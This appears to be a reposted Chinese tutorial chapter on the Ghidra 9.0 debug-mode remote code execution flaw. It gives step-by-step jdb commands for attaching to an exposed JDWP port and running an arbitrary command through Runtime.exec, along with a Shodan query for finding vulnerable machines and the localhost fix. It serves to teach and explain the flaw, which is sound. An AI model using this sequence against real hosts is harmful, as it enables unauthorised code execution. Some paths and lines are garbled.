在本节中,我们将深入探讨在Ghidra 9.0版本中发现的RCE(远程代码执行)漏洞的工作原理。将了解该漏洞是如何被利用的,以及如何修复。
Ghidra RCE 漏洞概述
-
Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}
在Ghidra 9.0.1的第二个版本中,通过将允许调试器附加到Ghidra的地址从星号(*)替换为localhost来修复了该漏洞。
-
Xrunjdwp:transport=dt_socket,server=y,suspend=!SUSPEND!,address=!DEBUG_ADDRESS!-Xrunjdwp:transport=dt_socket,server=y,suspend=!SUSPEND!,address=!DEBUG_ADDRESS!
利用Ghidra RCE漏洞
为了利用这个RCE漏洞,我们可以通过在调试模式下执行Ghidra 9.0来设置一个易受攻击的环境。这可以通过执行ghidraDebug.bat文件来完成
C:UsersvirusitoDesktopghidra_9.0_PUBLICsupport>ghidraDebug.bata
Listening for transport dt_socket at address: 18001
之后需要检索Ghidra的进程标识符(PID)。其PID是3828,如下所示:
C:Usersvirusito>tasklist /fi "IMAGENAME eq java.exe" /FO LIST | FIND "PID:"
PID: 3828
接着使用 netstat 列出与之相关的活动连接:
C:Usersvirusito>netstat -ano | FINDSTR 3828
TCP 127.0.0.1:18001 0.0.0.0:0 LISTENING 3828
如上结果中看到的,已经打开了一个监听连接,为0.0.0.0:0。然后,我们可以从任何地方建立与它的连接。使用以下代码,并将"VICTIM_IP_HERE"替换为受害者的IP地址:
C:Usersvirusito>jdb -connect com.sun.jdi.SocketAttach:port=18001,hostname=VICTIM_IP_HERE
Set deferred uncaught java.lang.Throwable
Initializing jdb...
>
之后寻找一个可运行的类,如果设置了断点,它很快就会遇到断点并断下来:
>classes
...
javax.swing.RepaintManager$DisplayChangedHandler
javax.swing.RepaintManager$PaintManager
javax.swing.RepaintManager$ProcessingRunnable
javax.swing.RootPaneContainer
javax.swing.ScrollPaneConstants
...
当重新绘制窗口时,javax.swing.RepaintManager$ProcessingRunnable将被触发。使用 stop 命令为其添加断点
> stop in javax.swing.RepaintManager$ProcessingRunnable.run()
Set breakpoint javax.swing.RepaintManager$ProcessingRunnable.run()
随后断点将被触发:
Breakpoint hit: "thread=AWT-EventQueue-0",javax.swing.RepaintManager$ProcessingRunnable.run(), line=1.871 bci=0
鉴于这种情况,就可以执行任何任意命令。通过 calc.exe 执行计算器,可以将其替换为任何命令注入的payload:
AWT-EventQueue-0[1] print new java.lang.Runtime().exec("calc.exe")
new java.lang.Runtime().exec("calc.exe") = "Process[pid=9268,exitValue="not exited"]"
修复 Ghidra RCE 漏洞
为了修复漏洞,将DEBUG_ADDRESS变量设置为127.0.0.1:18001,即可限制了传入的调试连接,就会将其连接到localhost:
if "%DEBUG%"=="y" (
if "%DEBUG_ADDRESS%"=="" (
set DEBUG_ADDRESS=127.0.0.1:18001
)
)
也可手动审查给定的Ghidra版本是否容易受到这种攻击。
寻找易受攻击的计算机
Ghidra RCE 漏洞是一个很小但极具危害的漏洞,因为含有该漏洞的计算机可以被直接定位;通过查询 Shodan:
https://www.shodan.io/search?query=port:18001。
即可找到含有漏洞的计算机。
这个漏洞可能不是美国国家安全局(NSA)进入该程序的后门。NSA有自己的零日漏洞来黑客攻击计算机。它不需要在自己的程序中引入后门来让黑客攻击其他计算机。因此在使用调试模式时,请确保使用已修补漏洞的Ghidra版本,使用易受攻击的Ghidra版本存在被黑客攻击的高风险。
总结
在本章中,学习了如何使用GhidraDev插件将Eclipse和Ghidra同步以进行开发和调试。不仅学会了调试脚本的技能,还学会了调试Ghidra源代码行的技能,对其框架的内部实现更加深了了解。
并且还了解了 Ghidra RCE 漏洞如何实现、如何修补、如何利用。以及分析了为什么该漏洞可能不是 NSA 后门。在下一章中,我们将涵盖Ghidra 用于从源代码中自由扩展的内容。
问题
1.是否可以使用源代码而不是字节码来调试Ghidra的编译版本?
2.是否可以使用除了Eclipse以外的IDE来进行Ghidra调试?
3.是否支持其他IDE?
4.你认为NSA可能正在监视使用Ghidra的用户吗?这其中可能包括后门吗?
原文始发于微信公众号(山石网科安全技术研究院):Ghidra RCE 漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论